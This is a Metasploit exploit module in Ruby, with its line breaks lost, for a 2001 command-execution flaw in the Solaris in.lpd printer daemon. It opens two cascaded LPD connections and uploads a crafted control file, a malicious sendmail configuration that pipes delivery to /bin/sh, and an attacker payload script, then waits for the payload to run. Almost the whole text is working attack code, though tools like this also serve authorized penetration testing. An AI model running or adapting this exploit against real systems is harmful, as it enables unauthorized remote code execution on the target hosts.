require 'msf/core' module Msf class Exploits::Solaris::Lpd::SendmailExec < Msf::Exploit::Remote include Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Solaris LPD Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution flaw in the in.lpd service shipped with all versions of Sun Solaris up to and including 8.0. This module uses a technique discovered by Dino Dai Zovi to exploit the flaw without needing to know the resolved name of the attacking system. }, 'Author' => [ 'hdm', 'Dino Dai Zovi ' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'OSVDB', '15131'], [ 'BID', '3274'], [ 'MIL', '63'], ], 'Platform' => ['unix', 'solaris'], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 8192, 'DisableNops' => true, }, 'PayloadCompat' => { "PayloadType" => "cmd", }, 'Targets' => [ [ 'Automatic Target', { }] ], 'DisclosureDate' => 'Aug 31 2001', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(515) ], self.class) end def exploit # This is the temporary path created in the spool directory spath = "/var/spool/print" # The job ID is squashed down to three decimal digits jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0] # The control file control = "H"+"metasploit\n"+ "P"+"\\\"-C"+spath+"/"+jid+"mail.cf\\\" nobody\n"+ "f"+"dfA"+jid+"config\n"+ "f"+"dfA"+jid+"script\n" # The mail configuration file mailcf = "V8\n"+ "\n"+ "Ou0\n"+ "Og0\n"+ "OL0\n"+ "Oeq\n"+ "OQX/tmp\n"+ "\n"+ "FX|/bin/sh #{spath}/#{jid}script\n"+ "\n"+ "S3\n"+ "S0\n"+ "R\+ #local \\@blah :blah\n"+ "S1\n"+ "S2\n"+ "S4\n"+ "S5\n"+ "\n"+ "Mlocal P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"+ "Mprog P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n" # Establish the first connection to the server sock1 = connect(false) # Request a cascaded job sock1.put("\x02metasploit:framework\n") res = sock1.get_once if (not res) print_status("The target did not accept our job request command") return end print_status("Configuring the spool directory...") if (not ( send_file(sock1, 2, "cfA" + jid + "metasploit", control) and send_file(sock1, 3, jid + "mail.cf", mailcf) and send_file(sock1, 3, jid + "script", payload.encoded) ) ) sock1.close return end # Establish the second connection to the server sock2 = connect(false) # Request another cascaded job sock2.put("\x02localhost:metasploit\n") res = sock2.get_once if (not res) print_status("The target did not accept our second job request command") return end print_status("Triggering the vulnerable call to the mail program...") if (not ( send_file(sock2, 2, "cfA" + jid + "metasploit", control) and send_file(sock2, 3, "dfa" + jid + "config", mailcf) ) ) sock1.close sock2.close return end sock1.close sock2.close print_status("Waiting up to 60 seconds for the payload to execute...") sleep(60) handler end def send_file (s, type, name, data='') s.put(type.chr + data.length.to_s + " " + name + "\n") res = s.get_once(1) if (not (res and res[0] == 0)) print_status("The target did not accept our control file command (#{name})") return end s.put(data) s.put("\x00") res = s.get_once(1) if (not (res and res[0] == 0)) print_status("The target did not accept our control file data (#{name})") return end print_status(sprintf(" Uploaded %.4d bytes >> #{name}", data.length)) return true end end end